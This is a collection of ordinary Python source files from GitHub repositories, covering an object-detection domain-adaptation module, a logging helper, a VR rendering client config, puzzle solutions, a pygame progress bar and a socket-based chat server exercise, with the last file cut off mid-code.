Returns:\n            list[dict]:\n                Each dict is the output for one input image.\n                The dict contains one key \"proposals\" whose value is a\n                :class:`Instances` with keys \"proposal_boxes\" and \"objectness_logits\".\n        \"\"\"\n        images = [x[\"image\"].to(self.device) for x in batched_inputs]\n        images = [(x - self.pixel_mean) / self.pixel_std for x in images]\n        images = ImageList.from_tensors(images, self.backbone.size_divisibility)\n        features = self.backbone(images.tensor)\n\n        if \"instances\" in batched_inputs[0]:\n            gt_instances = [x[\"instances\"].to(self.device) for x in batched_inputs]\n        elif \"targets\" in batched_inputs[0]:\n            log_first_n(\n                logging.WARN, \"'targets' in the model inputs is now renamed to 'instances'!\", n=10\n            )\n            gt_instances = [x[\"targets\"].to(self.device) for x in batched_inputs]\n        else:\n            gt_instances = None\n        proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)\n        # In training, the proposals are not useful at all but we generate them anyway.\n        # This makes RPN-only models about 5% slower.\n        if self.training:\n            return proposal_losses\n\n        processed_results = []\n        for results_per_image, input_per_image, image_size in zip(\n                proposals, batched_inputs, images.image_sizes\n        ):\n            height = input_per_image.get(\"height\", image_size[0])\n            width = input_per_image.get(\"width\", image_size[1])\n            r = detector_postprocess(results_per_image, height, width)\n            processed_results.append({\"proposals\": r})\n        return processed_results\n\n\nclass GlobalDAHead(nn.Module):\n    \"\"\"\n    Global domain classifier for image-level class-agnostic alignment\n    \"\"\"\n\n    def __init__(self, backbone_out_shape: Dict[str, ShapeSpec]):\n        super(GlobalDAHead, self).__init__()\n        if 'res5' in backbone_out_shape.keys():\n            in_channels = 2048\n        elif 'res4' in backbone_out_shape.keys():\n            in_channels = 1024\n        elif 'plain5' in backbone_out_shape.keys():\n            in_channels = 512\n        else:\n            raise KeyError(\"Unknown backbone output name: {}\".format(backbone_out_shape.keys()))\n\n        self.da_conv1 = nn.Conv2d(in_channels, 512, kernel_size=3, stride=2, padding=1, bias=False)\n        self.da_conv2 = nn.Conv2d(512, 128, kernel_size=3, stride=2, padding=1, bias=False)\n        self.da_conv3 = nn.Conv2d(128, 128, kernel_size=3, stride=2, padding=1, bias=False)\n        self.da_bn1 = nn.BatchNorm2d(512)\n        self.da_bn2 = nn.BatchNorm2d(128)\n        self.da_bn3 = nn.BatchNorm2d(128)\n        self.da_fc = nn.Linear(128, 1)\n\n        self.gama = 5\n        grl_weight = 1.0\n        self.grl = GradientScalarLayer(-1.0 * grl_weight)\n\n    def forward(self, x):\n        x = self.grl(x)\n\n        x = F.dropout(F.relu(self.da_bn1(self.da_conv1(x))), training=self.training)\n        x = F.dropout(F.relu(self.da_bn2(self.da_conv2(x))), training=self.training)\n        x = F.dropout(F.relu(self.da_bn3(self.da_conv3(x))), training=self.training)\n\n        x = F.avg_pool2d(x, (x.size(2), x.size(3)))\n        x = x.view(-1, 128)\n        x = self.da_fc(x)\n\n        da_targets = torch.zeros_like(x, requires_grad=False)\n        num_source_input = x.shape[0] // 2\n        da_targets[:num_source_input, ...] += 1\n        losses = sigmoid_focal_loss_jit(x, da_targets, gamma=self.gama, reduction='mean')\n\n        return {'loss_global_da': losses}\n\n\nclass LocalDAHead(nn.Module):\n    \"\"\"\n    Local domain classifier for image-level class-agnostic feature alignment\n    \"\"\"\n\n    def __init__(self, backbone_out_shape: Dict[str, ShapeSpec]):\n        super(LocalDAHead, self).__init__()\n        if 'res2' in backbone_out_shape.keys():\n            in_channels = 256\n        elif 'plain2' in backbone_out_shape.keys():\n            in_channels = 128\n        else:\n            print(backbone_out_shape.keys())\n            raise KeyError(\"Unknown backbone output name: {}\".format(backbone_out_shape.keys()))\n\n        self.da_conv1 = nn.Conv2d(in_channels, 256, kernel_size=1, stride=1, padding=0, bias=False)\n        self.da_conv2 = nn.Conv2d(256, 128, kernel_size=1, stride=1, padding=0, bias=False)\n        self.da_conv3 = nn.Conv2d(128, 1, kernel_size=1, stride=1, padding=0, bias=False)\n        self._init_weights()\n\n        grl_weight = 1.0\n        self.grl = GradientScalarLayer(-1.0 * grl_weight)\n\n    def _init_weights(self):\n        def normal_init(m, mean, stddev, truncated=False):\n            \"\"\"\n            weight initalizer: truncated normal and random normal.\n            \"\"\"\n            if truncated:\n                m.weight.data.normal_().fmod_(2).mul_(stddev).add_(mean)  # not a perfect approximation\n            else:\n                m.weight.data.normal_(mean, stddev)\n\n        normal_init(self.da_conv1, 0, 0.01)\n        normal_init(self.da_conv2, 0, 0.01)\n        normal_init(self.da_conv3, 0, 0.01)\n\n    def forward(self, x):\n        x = self.grl(x)\n\n        x = F.relu(self.da_conv1(x))\n        x = F.relu(self.da_conv2(x))\n        x = torch.sigmoid(self.da_conv3(x))\n\n        da_targets = torch.zeros_like(x, requires_grad=False)\n        num_source_input = x.shape[0] // 2\n        da_targets[:num_source_input, ...] += 1\n        losses = F.mse_loss(x, da_targets, reduction='mean')\n\n        return {'loss_local_da': losses}\n\n\nclass CAMHead(nn.Module):\n    \"\"\"\n    Image-level multi-label classifier for image-level class-wise alignment\n    \"\"\"\n\n    def __init__(self, backbone_out_shape: Dict[str, ShapeSpec], num_classes: int):\n        super(CAMHead, self).__init__()\n        if 'res5' in backbone_out_shape.keys():\n            in_channels = 2048\n        elif 'res4' in backbone_out_shape.keys():\n            in_channels = 1024\n        elif 'plain5' in backbone_out_shape.keys():\n            in_channels = 512\n        else:\n            raise KeyError(\"Unknown backbone output name: {}\".format(backbone_out_shape.keys()))\n        self.num_classes = num_classes\n\n        self.cam_conv = nn.Conv2d(in_channels, self.num_classes, kernel_size=1, bias=False)\n        weight_init.c2_msra_fill(self.cam_conv)\n\n    def forward(self, x, gt_instances):\n        x = self.cam_conv(x)\n\n        logits = F.avg_pool2d(x, (x.size(2), x.size(3)))\n        logits = logits.view(-1, self.num_classes)\n\n        if gt_instances is None:\n            return {'loss_cam': 0.0 * logits.sum()}\n\n        gt_classes_img_oh = self.get_image_level_gt(gt_instances)\n\n        losses = F.binary_cross_entropy_with_logits(\n            logits, gt_classes_img_oh, reduction='mean'\n        )\n        return {'loss_cam': losses * 0.1}\n\n    @torch.no_grad()\n    def get_image_level_gt(self, targets):\n        \"\"\"\n        Convert instance-level annotations to image-level\n        \"\"\"\n        gt_classes_img = [torch.unique(t.gt_classes, sorted=True) for t in targets]\n        gt_classes_img_int = [gt.to(torch.int64) for gt in gt_classes_img]\n        gt_classes_img_oh = torch.cat(\n            [\n                torch.zeros(\n                    (1, self.num_classes), dtype=torch.float, device=gt_classes_img[0].device\n                ).scatter_(1, torch.unsqueeze(gt, dim=0), 1)\n                for gt in gt_classes_img_int\n            ],\n            dim=0,\n        )\n        return gt_classes_img_oh","repo_name":"XuYunqiu/H2FA_R-CNN","sub_path":"detectron2/modeling/meta_arch/rcnn.py","file_name":"rcnn.py","file_ext":"py","file_size_in_byte":20599,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"16"}
+{"seq_id":"13745926904","text":"\"\"\"\nLogging utilities for the WeatherMap\n\"\"\"\n\nimport traceback\nimport inspect\nfrom datetime import datetime, timedelta\n\nTAB_TEXT = ' ' * 4\nMODULE_NAME = '<module>'\n\n\ndef __get_callstack_indent_count(\n    stack_adjustment=3\n):\n    \"\"\"\n    Returns the number of indents that should be applied to the logging statement.\n\n    Keyword Arguments:\n        stack_adjustment {int -- The number of frames down the ACTUAL function name is. (default: {3})\n\n    Returns:\n        int -- The numnber of indents.\n    \"\"\"\n\n    try:\n        cs_info = traceback.extract_stack()\n\n        indents = 0\n\n        for index in range(len(cs_info) - stack_adjustment, 0, -1):\n            if MODULE_NAME in cs_info[index].name:\n                break\n            else:\n                indents += 1\n\n        if indents < 0:\n            indents = 0\n\n        return indents\n    except:\n        return 0\n\n\ndef __get_indents(\n    count=0,\n    stack_adjustment=3\n):\n    \"\"\"\n    Returns whitespace for the number of given indents.\n\n    Keyword Arguments:\n        count {int} -- The number of indents to return whitespace for. (default: {0})\n        stack_adjustment {int -- The number of frames down the ACTUAL function name is. (default: {3})\n\n    Returns:\n        string -- A whitespace string.\n    \"\"\"\n\n    if count < 0:\n        count = 0\n\n    function_name = 'UKNOWN'\n    line_num = 'UNKNOWN'\n\n    try:\n        cs_info = traceback.extract_stack()\n        index = len(cs_info) - stack_adjustment\n        function_name = '{}()'.format(cs_info[index].name)\n\n        if MODULE_NAME in function_name:\n            function_name = cs_info[index].filename\n\n        line_num = cs_info[index].lineno\n    except:\n        pass\n\n    return '{}{}:{}: '.format(TAB_TEXT * count, function_name, line_num)\n\n\ndef safe_log(\n    logger,\n    message\n):\n    \"\"\"\n    Logs an INFO level message safely. Also prints it to the screen.\n\n    Arguments:\n        logger {logger} -- The logger to use.\n        message {string} -- The message to log.\n    \"\"\"\n\n    try:\n        indents = __get_indents(__get_callstack_indent_count())\n        if logger is not None:\n            logger.log_info_message(indents + message)\n        else:\n            print('{} INFO: {}{}'.format(datetime.now(), indents, message))\n    except:\n        print(indents + message)\n\n\ndef safe_log_warning(\n    logger,\n    message\n):\n    \"\"\"\n    Logs a WARN level message safely. Also prints it to the screen.\n\n    Arguments:\n        logger {logger} -- The logger to use.\n        message {string} -- The message to log.\n    \"\"\"\n\n    try:\n        indents = __get_indents(__get_callstack_indent_count())\n\n        if logger is not None:\n            logger.log_warning_message(indents + message)\n        else:\n            print('{} WARN: {}{}'.format(datetime.now(), indents, message))\n    except:\n        print(indents + message)\n","repo_name":"ptader/categorical-sectional","sub_path":"safe_logging.py","file_name":"safe_logging.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"2314659115","text":"import avango\nimport avango.script\nimport avango.gua\nfrom avango.script import field_has_changed\n\nfrom examples_common.GuaVE import GuaVE\n\n#avango.enable_logging(4, \"client.log\")\n\nVR16      = \"141.54.147.16\"\nPAN       = \"141.54.147.52\"\nLOCALHOST = \"127.0.0.1\"\nDAEDALOS  = \"141.54.147.34\"\n\nSPACEMONSTER = \"141.54.147.101\"\n\nKERBEROS = \"141.54.147.20\"\n\nCURRENTLY_USED_SERVER = KERBEROS\n\n\nCLIENT_MODE = \"MEASUREMENT_ANAGLYPH\"\n#CLIENT_MODE = \"VIDEO_POWERWALL\"\n#CLIENT_MODE = \"SCREENSHOT_DESKTOP\"\n##CLIENT_MODE = \"DEBUG_3_USERS_WEAK_PC\"\n\nDEBUG_MODE = \"NONE\"\n#DEBUG_MODE = \"OCCLUSION_SLAVE_DEBUG\"\n#DEBUG_MODE = \"CENTRAL_USER\"\n\nSTEREO_MODE = 0\nWINDOW_RESOLUTION = 0\nRENDERING_RESOLUTION = 0\nLEFT_VIEWPORT_START  = 0\nRIGHT_VIEWPORT_START = 0\n\nif \"MEASUREMENT_ANAGLYPH\" == CLIENT_MODE:\n  STEREO_MODE = avango.gua.StereoMode.ANAGLYPH_RED_CYAN\n\n  if \"OCCLUSION_SLAVE_DEBUG\" == DEBUG_MODE:\n    #WINDOW_RESOLUTION    = avango.gua.Vec2ui(3840, 2160)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(3840, 2160)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    if True:\n      WINDOW_RESOLUTION    = avango.gua.Vec2ui(3840, 2160)\n      RENDERING_RESOLUTION = avango.gua.Vec2ui(3840, 2160)\n      LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n      RIGHT_VIEWPORT_START = avango.gua.Vec2ui(0, 0)\n    else:\n      WINDOW_RESOLUTION    = avango.gua.Vec2ui(1280, 720)\n      RENDERING_RESOLUTION = avango.gua.Vec2ui(1280, 720)\n      LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n      RIGHT_VIEWPORT_START = avango.gua.Vec2ui(0, 0)\n\n  else:\n    if False:\n      WINDOW_RESOLUTION    = avango.gua.Vec2ui(4096, 2160)\n      RENDERING_RESOLUTION = avango.gua.Vec2ui(4096 - 400 - 425, 2160)\n      #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n      LEFT_VIEWPORT_START  = avango.gua.Vec2ui(400, 0)\n      RIGHT_VIEWPORT_START = avango.gua.Vec2ui(400, 0)\n    else:\n      WINDOW_RESOLUTION    = avango.gua.Vec2ui(4096, 2160)\n      RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n      #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n      LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n      RIGHT_VIEWPORT_START = avango.gua.Vec2ui(4096, 0)\n  \n  DISPLAY_VARIABLE_LEFT   = \":0.1\"\n  DISPLAY_VARIABLE_CENTER = \":0.1\"\n  DISPLAY_VARIABLE_RIGHT  = \":0.1\" # for the occlusion slave, one GPU is rendering everything\nelif \"VIDEO_POWERWALL\" == CLIENT_MODE:\n  DISPLAY_VARIABLE_LEFT   = \":0.1\"\n  DISPLAY_VARIABLE_CENTER = \":0.1\"\n  DISPLAY_VARIABLE_RIGHT  = \":0.1\" \n  STEREO_MODE = avango.gua.StereoMode.SIDE_BY_SIDE\n  \n  \n  if True:\n    WINDOW_RESOLUTION    = avango.gua.Vec2ui(2*4096, 2160)\n    RENDERING_RESOLUTION = avango.gua.Vec2ui(4096 - 400 - 425, 2160)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    LEFT_VIEWPORT_START  = avango.gua.Vec2ui(400, 0)\n    RIGHT_VIEWPORT_START = avango.gua.Vec2ui(4096 + 400, 0)\n  else:\n    WINDOW_RESOLUTION    = avango.gua.Vec2ui(2*4096, 2160)\n    RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n    RIGHT_VIEWPORT_START = avango.gua.Vec2ui(4096, 0)    \n  \n\n  if False:\n    WINDOW_RESOLUTION    = avango.gua.Vec2ui(2*4096, 2160)\n    RENDERING_RESOLUTION = avango.gua.Vec2ui(4096 - 400 - 425, 2160)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    LEFT_VIEWPORT_START  = avango.gua.Vec2ui(400, 0)\n    RIGHT_VIEWPORT_START = avango.gua.Vec2ui(4096 + 400, 0)\n  else:\n    WINDOW_RESOLUTION    = avango.gua.Vec2ui(2*1024, 512)\n    RENDERING_RESOLUTION = avango.gua.Vec2ui(1024, 512)\n    #RENDERING_RESOLUTION = avango.gua.Vec2ui(4096, 2160)\n    LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n    RIGHT_VIEWPORT_START = avango.gua.Vec2ui(1024, 0) \n\n\nelif \"SCREENSHOT_DESKTOP\" == CLIENT_MODE:\n  STEREO_MODE          = avango.gua.StereoMode.MONO\n  WINDOW_RESOLUTION    = avango.gua.Vec2ui(128, 72)\n  RENDERING_RESOLUTION = WINDOW_RESOLUTION\n  LEFT_VIEWPORT_START  = avango.gua.Vec2ui(0, 0)\n  RIGHT_VIEWPORT_START = avango.gua.Vec2ui(0, 0)\n  DISPLAY_VARIABLE_LEFT   = \":0.4\"\n  DISPLAY_VARIABLE_CENTER = \":0.2\"\n  DISPLAY_VARIABLE_RIGHT  = \":0.1\"\nelif \"DEBUG_3_USERS_WEAK_PC\" == CLIENT_MODE:\n  STEREO_MODE = avango.gua.StereoMode.ANAGLYPH_RED_CYAN\n  #WINDOW_RESOLUTION    = avango.gua.Vec2ui(1400, 1600)\n  #WINDOW_RESOLUTION    = avango.gua.Vec2ui(3840, 2160)\n  WINDOW_RESOLUTION    = avango.gua.Vec2ui(128, 72)\n  RENDERING_RESOLUTION    = WINDOW_RESOLUTION\n  LEFT_VIEWPORT_START     = avango.gua.Vec2ui(0, 0)\n  RIGHT_VIEWPORT_START    = avango.gua.Vec2ui(0, 0)\n  DISPLAY_VARIABLE_LEFT   = \":0\"\n  DISPLAY_VARIABLE_CENTER = \":0\"\n  DISPLAY_VARIABLE_RIGHT  = \":0\"\n\nclass Initializer(avango.script.Script):\n\n  def __init__(self):\n    self.super(Initializer).__init__()\n\n    # scenegraph\n    self.nettrans = avango.gua.nodes.NetTransform(Name=\"net\",\n                                         # specify role, ip, and port\n                                         Groupname=\"AVCLIENT|\"+CURRENTLY_USED_SERVER+\"|7432\") #server\n                                         #Groupname=\"AVCLIENT|141.54.147.54|7432\")\n    \n    self.graph = avango.gua.nodes.SceneGraph(Name=\"scenegraph\")\n    self.graph.Root.value.Children.value = [self.nettrans]\n\n    print(\"Before setting is initialized\")\n\n    # viewing setup\n    #size = avango.gua.Vec2ui(1600, 1200)\n    #size = avango.gua.Vec2ui(1920, 1080)\n    #size = avango.gua.Vec2ui(100, 100)\n    size = avango.gua.Vec2ui(128, 72)    \n    #size = avango.gua.Vec2ui(3840, 2160)\n    self.window_center = avango.gua.nodes.GlfwWindow(Size=size,\n                                              Display = DISPLAY_VARIABLE_CENTER,  # \":0.1\",\n                                              LeftResolution=size,\n                                              RightResolution=size,\n                                              Title=\"slave_weimar_v0_osaka_center\")\n\n    self.window_center.EnableVsync.value = False\n    avango.gua.register_window(\"slave_weimar_v0_osaka_center\", self.window_center)\n    \n    if \"CENTRAL_USER\" != DEBUG_MODE: \n      self.window_left = avango.gua.nodes.GlfwWindow(Size=size,\n                                                Display = DISPLAY_VARIABLE_LEFT,  # \":0.1\",\n                                                LeftResolution=size,\n                                                RightResolution=size,\n                                                Title=\"slave_weimar_v0_osaka_left\")\n\n      self.window_left.EnableVsync.value = False\n      avango.gua.register_window(\"slave_weimar_v0_osaka_left\", self.window_left)\n\n    if \"CENTRAL_USER\" != DEBUG_MODE: \n      self.window_right = avango.gua.nodes.GlfwWindow(Size=size,\n                                                Display = DISPLAY_VARIABLE_RIGHT,  # \":0.1\",\n                                                LeftResolution=size,\n                                                RightResolution=size,\n                                                Title=\"slave_weimar_v0_osaka_right\")\n\n      self.window_right.EnableVsync.value = False\n      avango.gua.register_window(\"slave_weimar_v0_osaka_right\", self.window_right)\n\n    logger = avango.gua.nodes.Logger(EnableWarning=False)\n\n    #self.MemoryController = avango.gua.nodes.NamedSharedMemoryController()\n    #self.MemoryController.add_read_only_memory_segment(\"DEPTH_FEEDBACK_SEGMENT\")\n\n    #self.MemoryController.register_remotely_constructed_object_on_segment(\"DEPTH_FEEDBACK_SEGMENT\", \"DEPTH_FEEDBACK_SEMAPHOR\")\n\n\n    #print(\"Before adding shared memory segments\")\n    #add shared depth buffer memory\n\n    self.viewer = avango.gua.nodes.Viewer()\n    self.viewer.SceneGraphs.value = [self.graph]\n    \n    if \"CENTRAL_USER\" != DEBUG_MODE: \n      self.viewer.Windows.value = [self.window_center, self.window_right, self.window_left]\n    else:\n      self.viewer.Windows.value = [self.window_center]\n\n    self.viewer.DesiredFPS.value = 1000.0\n\n    self.viewer.run()\n    #while True:\n    #  depth_feedback_state = self.MemoryController.get_value_from_named_object(\"DEPTH_FEEDBACK_SEMAPHOR\")\n      #print(\"Read State\")\n      #if 0 == depth_feedback_state:\n        #self.MemoryController.set_value_for_named_object(\"DEPTH_FEEDBACK_SEMAPHOR\", 1)\n    #  self.viewer.frame()\n      #elif 2 == depth_feedback_state:\n      #  pass\n        #print(\"Depth buffer was successfully written.\")\n\n\n\n    # parameters\n    print(\"Before setting is initialized\")\n    self.is_initialized = False\n    print(\"always evaluate\")\n    self.always_evaluate(True)\n    print(\"after always evaluate\")\n\n\n\n  def evaluate(self):\n    print(\"beginning of evaluation\")\n    if not self.is_initialized:\n      if len(self.nettrans.Children.value) > 0:\n        self.on_arrival()\n        self.is_initialized = True\n\n        #self.always_evaluate(False)\n\n\n  def on_arrival(self):\n    pass\n    #print(\"I HAVE ARRIVED\")\n    #print(self.graph[\"/net/screen/cam\"].Name.value)\n\n    #occlusion_slave_pipeline_description = avango.gua.nodes.PipelineDescription(\n    #    Passes=[\n    #        avango.gua.nodes.TriMeshPassDescription(),\n    #        avango.gua.nodes.LightVisibilityPassDescription(),\n    #        avango.gua.nodes.SPointsPassDescription(),\n    #        avango.gua.nodes.OcclusionSlaveResolvePassDescription()\n    #    ])\n    #self.graph[\"/net/screen/cam\"].PipelineDescription.value = occlusion_slave_pipeline_description\n\n    #print(\"Reconfigured pipeline\")\n\n\n\ninit = Initializer()\n\n","repo_name":"vrsys/avango","sub_path":"examples/group_to_group_telepresence/occlusion_slave_osaka_3_users.py","file_name":"occlusion_slave_osaka_3_users.py","file_ext":"py","file_size_in_byte":9352,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"16"}
+{"seq_id":"8353684809","text":"from rockpaperscissors.Game import Move, Round, Game, Outcome, find_move\n\n\ndef parse_move(code):\n    if code == 'A':\n        return Move.Rock\n    if code == 'B':\n        return Move.Paper\n    if code == 'C':\n        return Move.Scissors\n    return None\n\n\ndef parse_outcome(code):\n    if code == 'X':\n        return Outcome.Loss\n    if code == 'Y':\n        return Outcome.Draw\n    if code == 'Z':\n        return Outcome.Win\n    return None\n\n\ndef parse_line(line):\n    codes = line.split()\n\n    if not codes or len(codes) is not 2:\n        return None\n\n    their_move = parse_move(codes[0])\n    outcome = parse_outcome(codes[1])\n\n    return Round(find_move(their_move, outcome), their_move)\n\n\ndef read_game_file(path):\n    rounds = []\n\n    with open(path) as file:\n        for line in file:\n            game_round = parse_line(line)\n            if game_round:\n                rounds.append(game_round)\n\n    return Game(rounds)\n","repo_name":"p-verburg/advent_of_code_2022","sub_path":"rockpaperscissors/GameFileReader.py","file_name":"GameFileReader.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18413660731","text":"import sys\n\ndef find(a):\n    while a != node[a]:\n        a = node[a]\n        node[a] = node[node[a]]\n    return a\n\ndef union(a, b):\n    a = find(a)\n    b = find(b)\n    if a < b:\n        node[a] = b\n    else:\n        node[b] = a\n\ndef dfs(x, y):\n    while 1:\n        dx, dy = direct[matrix[x][y]]\n        nx, ny = x + dx, y + dy\n        matrix[x][y] = 'F'\n        if matrix[nx][ny] == 'F':\n            if find(nx * m + ny) != find(x * m + y):\n                return 0\n            else:\n                return 1\n        else:\n            union(nx * m + ny, x * m + y)\n            x, y = nx, ny\n\nn, m = map(int, sys.stdin.readline().split())\nmatrix = []\nnode = [i for i in range(n * m)]\ndirect = {'D' : (1, 0), 'U' : (-1, 0), 'L' : (0, -1), 'R' : (0, 1)}\nfor _ in range(n):\n    matrix.append(list(sys.stdin.readline().rstrip()))\nans = 0\nfor i in range(n):\n    for j in range(m):\n        if matrix[i][j] != 'F':\n            ans += dfs(i, j)\nprint(ans)\n","repo_name":"nain95/Algorithm","sub_path":"BOJ/16000/16724.py","file_name":"16724.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32892862891","text":"import os\nimport common_pygame\nimport random\npygame = common_pygame.pygame\nscreen = common_pygame.screen\n\n\nclass progressBar():\n\n    def __init__(self):\n        self.color = (102, 170, 255)\n        self.y1 = screen.get_height() / 2\n        self.y2 = self.y1 + 20\n        self.max_width = 800 - 40\n        self.font = pygame.font.Font(\"BITSUMIS.TTF\", 64)\n        self.loading = self.font.render(\"LOADING\", True, self.color)\n        self.textHeight = self.y1 - 80\n\n    def update(self, percent):\n        screen.fill((0, 0, 0))\n\n        screen.blit(self.loading, (300, self.textHeight))\n        txtpercent = self.font.render(str(percent) + \"%\", True, self.color)\n        screen.blit(txtpercent, (20, self.y1 + 30))\n        pygame.draw.rect(screen, self.color,\n                         (20, self.y1, self.max_width, 20), 2)\n        pygame.draw.rect(screen, self.color, (20, self.y1,\n                                              (percent * self.max_width) / 100, 20), 0)\n        pygame.display.flip()\n\n        (r, g, b) = self.color\n        r = min(r + 2, 255)\n        g = max(g - 2, 0)\n        b = max(b - 2, 0)\n        self.color = (r, g, b)\n        self.loading = self.font.render(\"LOADING\", True, self.color)\n","repo_name":"mthenault/MICshooter","sub_path":"sources/progressbar.py","file_name":"progressbar.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"10804664858","text":"\"\"\"\n1. Реализовать обработку нескольких клиентов на сервере, используя функцию select.\n Клиенты должны общаться в «общем чате»: каждое сообщение участника отправляется всем, подключенным к серверу.\n2. Реализовать функции отправки/приема данных на стороне клиента.\n Чтобы упростить разработку на данном этапе, пусть клиентское приложение будет либо только принимать,\n  либо только отправлять сообщения в общий чат. Эти функции надо реализовать в рамках отдельных скриптов.\n\"\"\"\n# SERVER\nfrom socket import socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR\nfrom common.globals import DEF_PORT, ACTION, PRESENCE, TIME, USER, ACCOUNT_NAME, SENDER,\\\n    RESPONSE, ERROR, MAX_CONNECTIONS, MESSAGE, MESSAGE_TEXT\nfrom common.utils import get_message, send_message, handle_parameters\nfrom time import time\nimport logging\nimport select\nimport log.server_log_config\n\nSERVER_LOGGER = logging.getLogger('server')\n\n\ndef handle_client_message(msg, msg_list, client_sock):\n    SERVER_LOGGER.debug(f'Обработка сообщения от клиента: {msg}')\n    if ACTION in msg and msg[ACTION] == PRESENCE and TIME in msg and USER in msg and msg[USER][ACCOUNT_NAME] == 'Guest':\n        SERVER_LOGGER.debug(f'Обработка сообщения УСПЕШНА, отправляю ответ: \"RESPONSE: 200\"')\n        send_message(client_sock, {RESPONSE: 200})\n        return\n    elif ACTION in msg and msg[ACTION] == MESSAGE and TIME in msg and MESSAGE_TEXT in msg:\n        SERVER_LOGGER.debug(f'Обработка сообщения УСПЕШНА, отправляю: {ACCOUNT_NAME} ответ: \"{MESSAGE_TEXT}\"')\n        msg_list.append((msg[ACCOUNT_NAME], msg[MESSAGE_TEXT]))\n        return\n    else:\n        SERVER_LOGGER.error(f'Обработка сообщения ПРОВАЛЕНА, отправляю ответ: \"RESPONSE: 400\"\\n'\n                            f'Содержимое неправильного запроса:\\n{msg}')\n        send_message(client_sock, {\n            RESPONSE: 400,\n            ERROR: 'Bad request'})\n        return\n\n\ndef del_sock(sock, sock_list):\n    sock.close()\n    sock_list.remove(sock)\n\n\ndef main():\n    listen_address, listen_port, _ = handle_parameters(ip='ANY', port=DEF_PORT, mode='listen')\n    SERVER_LOGGER.info(f'Сервер запущен. Слушаю IP:{listen_address if listen_address else \"любой\"} '\n                       f'PORT:{listen_port}')\n\n    serv_sock = socket(AF_INET, SOCK_STREAM)\n    serv_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n    serv_sock.bind((listen_address, listen_port))\n    serv_sock.settimeout(0.5)\n    clients = []\n    msgs = []\n\n    serv_sock.listen(MAX_CONNECTIONS)\n    try:\n        while True:\n            try:\n                client_sock, client_address = serv_sock.accept()\n            except OSError:\n                pass\n            else:\n                SERVER_LOGGER.debug(f'Подключен: {client_address}')\n                clients.append(client_sock)\n\n            recv_data_list = []\n            send_data_list = []\n            try:\n                if clients:\n                    recv_data_list, send_data_list, _ = select.select(clients, clients, [], 0)\n            except OSError:\n                pass\n\n            if recv_data_list:\n                for client_with_msg in recv_data_list:\n                    try:\n                        recvd_msg = get_message(client_with_msg)\n                        handle_client_message(recvd_msg, msgs, client_with_msg)\n                        if recvd_msg.get(\"action\") == 'msg':\n                            _user = recvd_msg.get(\"account_name\")\n                            _msg = recvd_msg.get(\"msg_text\")\n                        else:\n                            _user = recvd_msg.get(\"user\").get(\"account_name\")\n                            _msg = 'подключился'\n                        SERVER_LOGGER.info(f'{client_with_msg.getpeername()} '\n                                           f'{_user}: {_msg}')\n                    except:\n                        SERVER_LOGGER.info(f'{client_with_msg.getpeername()}'\n                                           f' отключился от сервера.')\n                        del_sock(client_with_msg, clients)\n\n            if msgs and send_data_list:\n                msg = {\n                    ACTION: MESSAGE,\n                    SENDER: msgs[0][0],\n                    TIME: time(),\n                    MESSAGE_TEXT: msgs[0][1]\n                }\n                del msgs[0]\n                for waiting_client in send_data_list:\n                    try:\n                        send_message(waiting_client, msg)\n                    except:\n                        SERVER_LOGGER.info(f'{waiting_client.getpeername()} отключился от сервера.')\n                        del_sock(waiting_client, clients)\n    except KeyboardInterrupt:\n        SERVER_LOGGER.info(f'Завершение работы, отключаю {len(clients)} клиентов...')\n        for client in clients:\n            del_sock(client, clients)\n        serv_sock.close()\n        SERVER_LOGGER.info(f'Сервер остановлен')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Wrexan/GB_Client-Server_apps_using_Python","sub_path":"lesson_07/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71814272009","text":"from .MsgManager.manager import MiddleManager\nfrom .Utils.common_utils import *\nimport time\nimport cv2\nfrom Oviz.Utils.point_cloud_utils import read_pcd, read_bin\n\ngroup_template = ['template', \"sub_1\"]\n\nclass Oviz:\n    _oviz_node = MiddleManager()\n    '''\n        data:\n            group:\n                pointcloud: []\n                image: []\n            group2\n    '''\n\n    @staticmethod\n    def __del__():\n        Oviz._oviz_node.close()\n    _data = dict()\n    @staticmethod\n    def init_oviz_api(ip, port = 12345):\n        Oviz._oviz_node.init_oviz_api(ip, port)\n\n    @staticmethod\n    def imshow(msg = None, group = \"template\"):\n        group_data = Oviz._data.setdefault(group, {})\n        topic_data = group_data.setdefault(IMAGE, [])\n        if isinstance(msg, str):\n            msg_data = cv2.imread(msg)\n            topic_data.append(msg_data)\n        else:\n            topic_data.append(msg)\n\n    @staticmethod\n    def pcshow(msg = None, group = 